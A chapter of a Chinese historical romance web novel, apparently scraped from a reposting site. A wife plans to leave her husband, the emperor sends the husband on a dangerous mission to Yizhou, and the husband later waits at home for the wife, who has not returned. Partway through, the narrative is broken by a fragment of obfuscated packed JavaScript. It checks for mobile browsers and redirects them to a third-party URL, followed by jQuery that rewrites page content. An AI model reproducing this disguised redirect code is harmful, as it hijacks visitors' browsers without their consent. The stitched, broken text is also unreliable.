不然怎么先头还嚷嚷着和离,现在又布置起新宅来了。 靳连珠面露苦涩:“破镜哪有重圆的道理。” 经历的事儿一多,白芍的脑袋瓜变得聪明些许,领悟到她的言下之意,不由得松口气。心念:只要娘子甭再心软就成。 两个丫头自从回到雅韵轩就没闲下来过,先把内间收拾一番,见日头正盛,又把被褥抱到院子里晾晒。 白芍好说歹说,总算劝动靳连珠出来晒晒日光。 白芷吩咐小厨房做一份冰酥酪,那边忙活着,手脚利索的下人已经挑选好地方,把美人椅搬出来了。 春日的光有些刺眼,但铺洒在身上却格外暖和,不知不觉间,心底荡漾许久的阴霾也渐渐消散了。 靳连珠拿帕子盖住面颊,打了个长长的哈欠。 昨夜因为沈敬行在侧,她得很不踏实,这会子一放松就开始打盹。 忽而听白芍说:“公子很记挂您,盼着您早些处理完麻烦,一道归家去呢。” 靳连珠一把拉下帕子,扭脸看向她,眼光烁烁:“你见着兄长了?” 白芍颔首:“公子专门租下一座宅子,打算待您从沈家搬出来之后,先到那儿暂住,彻底养好身子再上路不迟。” 瞄一眼靳连珠阴晴不定的面色,白芍悻悻道:“赶巧不巧的,他们一行人就住在隔壁。” 两家的偏远仅一扇门隔着。 那门没上锁,白芍误打误撞地走到那边,遇见了靳子骞。 靳子骞拉着白芍仔细询问一番,得知隔壁最近敲敲打打的是在布置新宅,主人竟是沈敬行,再联想到最近杳无音讯的靳连珠,预感不妙。 亏得有白芍作保,确认靳连珠目前一切无恙,他才按捺住性子,没有火急火燎地找上门要人。 临走时,靳子骞叮嘱白芍,千万探一探靳连珠的口风。 若她真能做到不计前嫌,就这么稀里糊涂的跟沈敬行继续过下去,他便不再浪费日子等她,早早儿赶回淮州跟家中二老复命。 白芍再傻也听得出这是气话。 这些天,沈家内宅的那点事儿传得沸沸扬扬,恐怕靳子骞误解了,以为装饰新宅也有靳连珠的意思。 白芍暂且安抚住他的情绪,面对靳连珠又得美化一番公子的言辞,试探着问:“娘子要随家主搬到新宅住吗?” 靳连珠一言未发,心里头却定了主意:有些事,已到该了断的时候了。 - 近日朝堂上因为南方修建堤坝之事吵得不可开交。 户部那老头素来是个铁公鸡,死死咬着不肯松口,官家逼得紧了,他便一哭二闹三上吊,混不似个正经人的样儿。 不少大臣见状纷纷站队户部尚书,仍旧是那一套说辞:“南方战事初歇,正值百废待兴之际,应把民生放在首位。何为民生,必然是农业。” 个个儿都说得振振有词,实则是借题发挥,使得新旧两派纷争愈发明显。 气得官家头昏脑涨,当场下令把带头闹事的户部尚书拖出去,狠狠打上一顿板子以解心头之恨。 一时之间,阻拦的阻拦,看热闹的看热闹,喊冤的喊冤,俨然乱成一锅粥。早朝便这么不欢而散。 一进崇德殿,邱肇忍无可忍摔了一盏茶,碎片四溅,洇湿的那块毯子冒着汩汩热气。 紧随其后而来的便是他的暴怒声:“全都反了天了,竟敢当面反驳朕的旨意。还有,朕何时说过不管百姓的死活了?!” 农业要干,堤坝更要修。 不过是双管齐下罢了。 南边多数州县临海临江,贸易大兴的同时,百姓们长年遭受水灾,若是再不做些抵抗灾祸的措施,将来的损失不可估计。 而这帮老不死的稳坐朝堂,口口声声为国为民,哪会真正晓得远在千里之外的百姓们的疾苦。 一会子念叨国库吃紧,拨不出足够的银子,两边只得择其一;又一会子唠叨修建堤坝可以缓一缓,当务之急是要解决百姓们的温饱,若这些都成问题,难免再生事端。 借口一箩筐。 全都是一些无用的屁话。 人能等得,工程能等得,难道水灾会好声好气跟他们商量之后也等一等么?! 不过是借题发挥,试探他的态度,顺便给他出一道难题,且看他这位稚嫩的君主如何平衡新旧官员之间的关系。 邱肇又气又愁,仔细思量一番,发现真真正正愿意为他分忧,为百姓考虑,也值得他交付一两分真心的人,就在眼前。 于是面上的阴霾一扫而空,转眼间就变成往日那副嬉皮笑脸的样儿。 仗着四下无人,他亲昵地叫着“表哥”,亲自搀起沈敬行,乐颠颠道:“路行此处,也没别的法子了。不如,再拔一拔表哥的位置?” 沈敬行微顿,旋即明白官家的言下之意。 不入虎穴焉得虎子。 他就是那个值得官家信赖,可以放心抛出去诱敌的饵。 可是,想要维持新旧两派表面的和气,只有他,远远不够。 邱肇托着下巴,表情若有所思:“司农司此前由臧鸿熙管事,此人是个有真才实干的,可惜性子太刚烈,朕不喜,前年将他贬官到宜州去了。眼下倒又是用他的时候……” 他一边念叨,一边打转儿,最后停在架子前。 邱肇取下那把琉璃蛟龙剑,眼中闪烁着幽深的光,笑容却无邪:“这些年表哥没再碰过刀剑,不知还拿得动不?” 沈敬行还跪在那儿,未经官家允许,不敢起身,背脊一如既往挺得笔直。 窗外有道日光斜斜照进来,洒在他膝前,变成一道间隔明暗的分界线。 他在光里,官家在暗处,双手把剑奉上,稍微弯腰,笑语盈盈:“表哥试试。” 沈敬行依言接过。 过去恁多岁月,刀柄上沾染的血渍已褪掉了。 官家日日擦拭,使得剑身锃亮,崭新如初。 沈敬行掂量一下,倒还拿得动,却不一定能舞的起来。 邱肇原也没指望他用这把剑搞出什么名堂,只觉得,若是有才能的人,纵使手里握着的是笔杆,也能发挥出不输于刀剑的威力。 他顺势将这把剑赐予他,意味深长道:“这场恶战,表哥是先锋。此去宜州的途中可千万小心谨慎,别叫朕失望。” 沈敬行领命而去。 离开时发生一桩小小插曲。 沈敬行行至殿外,迎面碰见葛姝好。 虽然两家算得上亲戚,年少时也曾有过往来,但葛姝好出嫁后久居深宫,沈敬行位于前朝,逢年过节才有机会见上一面。 就算偶然碰见了,两人都沉默寡言的,并不会停下来寒暄一阵。 这回出乎意料的,葛姝好主动开口叫住他:“沈大人。” 沈敬行不明所以:“娘娘有何吩咐。” 葛姝好视线下落,看见那把琉璃蛟龙剑,脑海中立即浮现出刀光血影的场景,不由得遍体生寒。 她抿抿唇,勉强压抑住恐惧,温声道:“本宫那儿新得一匹缎子,可惜颜色太艳丽,不适合本宫,收起来又觉得浪费,不如赏给靳娘子罢。” 既是娘娘的一片心意,沈敬行也没有理由拒绝,况且,靳连珠的确很爱华服。 他拱手:“谢过娘娘。” 葛姝好又瞄一眼那把剑,眼底闪过一丝隐晦的畏惧之色,两片唇轻微蠕动,满肚的话,最终还是什么都没说。 耽误这一遭,待沈敬行拎着一把剑和缎子款步走出宫内,已过正午。 开春之后,气候逐渐暖和,沈敬行不再乘坐马车上朝,时辰足够便乘轿辇,时辰稍晚便骑马。今日更特殊一些,他在工部忙一宿未眠,估摸着时候差不多了,便徒步来上朝。 敛秋在宫门候着,旁边是王家的马车。 见着沈敬行,敛秋唤了声“家主”,急匆匆迎上前要接他手里的东西。 沈敬行闪身躲开,道一声“不用”,随后与掀开帘子往外瞧的王濮存对上视线。 他发现他拎着的那把剑,面色一暗,示意他上车详谈。 “官家这是要借你的手,彻底肃清旧派的异己。” 王濮存异常担忧:“这样一来,暗中盯着你,想取你性命之人只会愈来愈多。你此去危机四伏,身边必须有得力之人相护,不若让我府上那几个……” “不必。” 沈敬行谢绝他的好意,淡然无波道:“官家自有决断。” 王濮存看着沈敬行这副云淡风轻的样儿就来气,仿佛前方的刀山火海在他眼中不过浮云飘过,根本无从畏惧。 他张口欲埋怨几句,但话到嘴边就变成了哀愁:“官家究竟是信你,还是疑你?” 沈敬行垂眸,指腹细细摩挲那批光滑绸缎,脑袋里幻想着靳连珠欢喜雀跃的样子,心情随之好转许多:“不管是什么,我已踏上这条船,轻易下不去了。” 闻言,王濮存又是一声长长的叹息。 要论起如今的局势,便不得不提及一桩前朝旧事。 先帝年轻时委实称得上一位明君,为江山社稷呕心沥血,导致身子骨早早儿就出了岔子。 以防万一,立储之事不得不提上日程。 官家彼时远在宜州,被接入大内的时候也尚年少,放在一众皇子中委实没什么竞争力。太后娘娘因为性子过分刚直并不受先帝青睐,母子二人在宫中的日子一度过得异常艰辛。 转机发生在显庆五十二年,先帝痴迷炼制丹药,无心朝政,干脆命太子代为监国。 太子敦厚仁慈,智勇双全,唯独身弱一点,竟让他因为风寒走在先帝前头。最心爱的儿子一没,先帝受不了这份打击,彻底一病不起,前朝后宫立即掀起惊涛骇浪。 由南边的二皇子率先发难,紧接着,其余几位皇子见势不妙,接连起兵。 眼瞅着大批人马即将跨过泉唐江,直捣皇城。恰在此时,太医施针吊着先帝的一口气,近臣将天下动乱据实告知先帝。 先帝闻讯悲恸不已,放眼望去,身侧仅官家一子,形势所迫,只得将皇位传给他。 却不想,先帝竟留了后手。 继位诏书留了两份,内容完全相悖,一份写着官家,另一份写着远在宜州的那位三皇子。 所幸,得知此事之人少之又少,且都为官家心腹。 先帝薨逝那夜,官家先烧三皇子的继位诏书,又持剑亲手了结亲兄。 时至今日,沈敬行仍然记得那天的场景,火光冲天,血流成河,尸骨遍地,腥味扑鼻。 葛姝好浑身浴血,吓得软了腿脚,却不知从何处生出的信念,强撑着爬下长阶,从尸山里头徒手把官家挖出来,这才没使得他活活憋死。 官家在殿内躺了整整三日,刚一恢复体力,立即着礼部举办登基大典。 彼时朝堂上除去葛氏一族,再无人算得上官家心腹,长此以往必生隐患。 于是官家假借科举之名肃清朝野,扶持以礼部王濮存、工部沈敬行、兵部费僖、殿前司副指挥使甄滦几人为首的新势力,最终形成如今新旧两派对立的局面。 但,这也并非长久之计。 南边有贼人仗着官家年少,故意捏造谣言煽动民心,短短一年,先后四次以已故三皇子的名义起兵造反,皆被朝廷镇压。 后来虽设置州府严加管控,但官家迟迟不能安心,又顾及前朝局势,不能轻易揭破鼓面,这才借着南方修建堤坝之事布局谋划。 如此一来,沈敬行便成了众矢之的。 王濮存看一眼那把御赐的长剑,又看一眼那匹价值不菲的绸缎,心道:官家娘娘还真是打得一手好配合,给个巴掌再喂一颗甜枣。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15229305|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可为臣子的,圣旨当前,哪有退缩的余地。 明知死路一条,也得硬着头皮走一趟。 王濮存除去叮嘱沈敬行万事小心,更担忧的是:“靳娘子满心满眼都是你,若被她知晓你此行这般艰难,说不准还会有生命之危,恐怕又得整宿都睡不安生了。” 沈敬行一愣,忽而想起答应靳连珠返乡探亲一事。 现下的局面比他先料定更不稳当,此去危机四伏,带着她极不安全。 可若是食言,必然惹她难过。 靳连珠在这边过得不畅快,一心惦记着能快快回家,而他原本也想借着此行,缓和与她的关系。 一时之间,沈敬行进退两难。 王濮存突然发问:“上回,你问及的那位友人跟他娘子,如何了?” 沈敬行睫毛一抖,不太自然地整理起官袍,含糊应答:“我没再问了。” 本着看破不说破的道理,王濮存意味深长道:“既然没有再次烦到你跟前儿来,那想必已经解决了。转念一想,你那位友人也是个痴情种呐。” 不知哪个字眼触及沈敬行的心弦,让他不自觉红了耳廓。 他性子素来低调内敛,那日也是被逼疯了才会找这么一个蹩脚的理由,向外人寻求帮助。 却没想,王濮存酒醒后反应过来,竟抓着此事不放,时不时就拿出来说道说道,假借那位并不存在的友人之名戏谑他。 沈敬行咬紧后槽牙,再度抬眼看他时,多了几分恼羞成怒的意思:“劝你今夜别再留恋酒坊,否则,你家娘子那边,我不会再代为说和。” 王濮存爽朗一笑:“无妨无妨,我已征得她应允了。” 他本就喜爱佳酿,为着子嗣一事禁酒许久,险些憋坏了。 甄宛筠不忍见他难受,大发慈悲允他开开荤。 王濮存也知分寸,每次只浅啄一两杯便住口。 反倒是信奉“克制”二字的沈敬行近来屡次破戒,某夜甚至不顾他好言相劝,沉默着把自个儿灌的酩酊大醉,走都走不稳当了。 彼时王濮存诧异的以为,饶是沈敬行,也难逃情爱困顿。现在想来,他倒像是为朝堂之事发愁。 思及此,王濮存又多嘴叮嘱几句。 沈敬行缄默不语,但表情明显是听进去了。 直至马车停在沈家宅邸门口,他突兀出声:“怪不得近日上朝,甄大人始终一副面带红光的模样。” 如今朝堂之上乌烟瘴气,人人自危,人人心底有盘算,也就甄大人还能捋着长须,保持乐颠颠的心态了。 王濮存愣了一下,旋即明白他的言下之意,唇边不由得挤出一抹笑:“娘子不让告知他人,说月份还小呢,不宜声张。” 民间的确有这样的说法,女子有身孕,太早宣扬出去恐坐不稳胎。否则,依照甄宛筠的脾性,一定会差人告知靳连珠,向她讨要贺礼。 沈敬行眼含羡慕,向他道了声恭喜。 临别前,王濮存邀他另寻他日到家中坐客,算是给他践行。 沈敬行颔首,目送马车远去,方才转身进府。 依照惯例,他该先向老夫人问安,再到书房处理剩下的公务,稍晚一些到雅韵轩陪靳连珠用饭。 可最近因着纳妾分家,沈敬行频频违背老夫人的意见。惹得老夫人与他狠狠置气,扬言称,他若是不回心转意,此后便不必再来见她。 沈敬行只好到书房去忙,行至分岔路口,却不由自主的直奔雅韵轩而去。 这会子天色尚早,估摸着靳连珠用完午饭会晒会儿日光,可沈敬行踏入院子没瞧见她的身影,误以为她在内间睡午觉,故而放轻放缓脚步,唯恐惊扰她好梦一场。 撩开帘子一瞧,床榻上空空如也。 话本摊开放于圆桌之上,蜜饯盒子敞着盖,仿佛主人家有什么急事,暂时离开一会儿。 沈敬行一摸盏壁,已经凉透了。 他眉心一跳,隐约感觉不妙,先打开柜子检查她的衣裳、首饰之类的必需品,又到隔壁屋子查看嫁妆箱子,确认一样儿都没少,悬着的心却迟迟落不回肚子里。 听见动静,拂冬以为家主翻箱倒柜的在找什么要紧的物件,遂上前准备搭把手。却听他冷声问:“大娘子何时走的?” “晌午用完饭,大娘子小坐片刻,就带着白芷白芍出门了。” 拂冬不敢多看被翻得乱七八糟的柜子,一板一眼地回话:“库房存的香料用尽了,大娘子唯恐下人采买的不合心意,干脆亲自到铺子去挑选。” 大抵没料到原因这般简单,或是被靳连珠想从他身边逃走的坚定态度弄得心力交瘁,沈敬行竟不敢轻易相信:“当真?” 拂冬压下心头的怪异,道:“当真。大娘子亲口说的,走之前还吩咐小厨房,晚饭多备一份银耳莲子羹。” 沈敬行无言良久,才懈力般摆摆手:“下去罢。” 拂冬看得出来他心情不佳,干脆让伺候的人都走得远一些,别到主屋这边来。只留他和敛秋在外守着。 沈敬行默默去把翻乱的柜子收拾齐整,每触及一件东西,脑海中便浮现出与她相关的场面,慢慢地,繁杂心绪平复下来。 只是思念悄无声息的滋长。 他从未有一刻意识到,原来自个儿如此无法忍耐孤独。尽管孤独只有片刻,待靳连珠购买香料回来,这间屋子就又能恢复以往的生机。 沈敬行说不清道不明心口翻涌的焦躁,使得他一直在屋内踱步,最后强压着不安,坐到圆桌前,把书签夹到靳连珠看得那一页,接着,从头开始翻起。 类似讲风花雪月的册子,大街小巷皆有售卖,价钱不贵,买一本打发闲暇无可厚非,但沈敬行认为这些书的内容很是无用,读来也是白费,故而从没买过、看过。 这本的内容更是无趣,俏佳人与贵公子偶然邂逅,情定终生,原以为天赐良缘,不成想,洞房花烛夜,贵公子太过紧张、雀跃,双腿一蹬,蓦地惊醒,方才发现这一切仅为自个儿的美梦一场。 稀里糊涂。 荒诞至极。 沈敬行撇撇嘴,委实不懂这样的故事何处引她喜欢,于是把话本放回原处,一边用茶,一边静候靳连珠。 殊不知,这一等就等到日落黄昏,又到满天繁星,掌灯时分,仍不见她归来。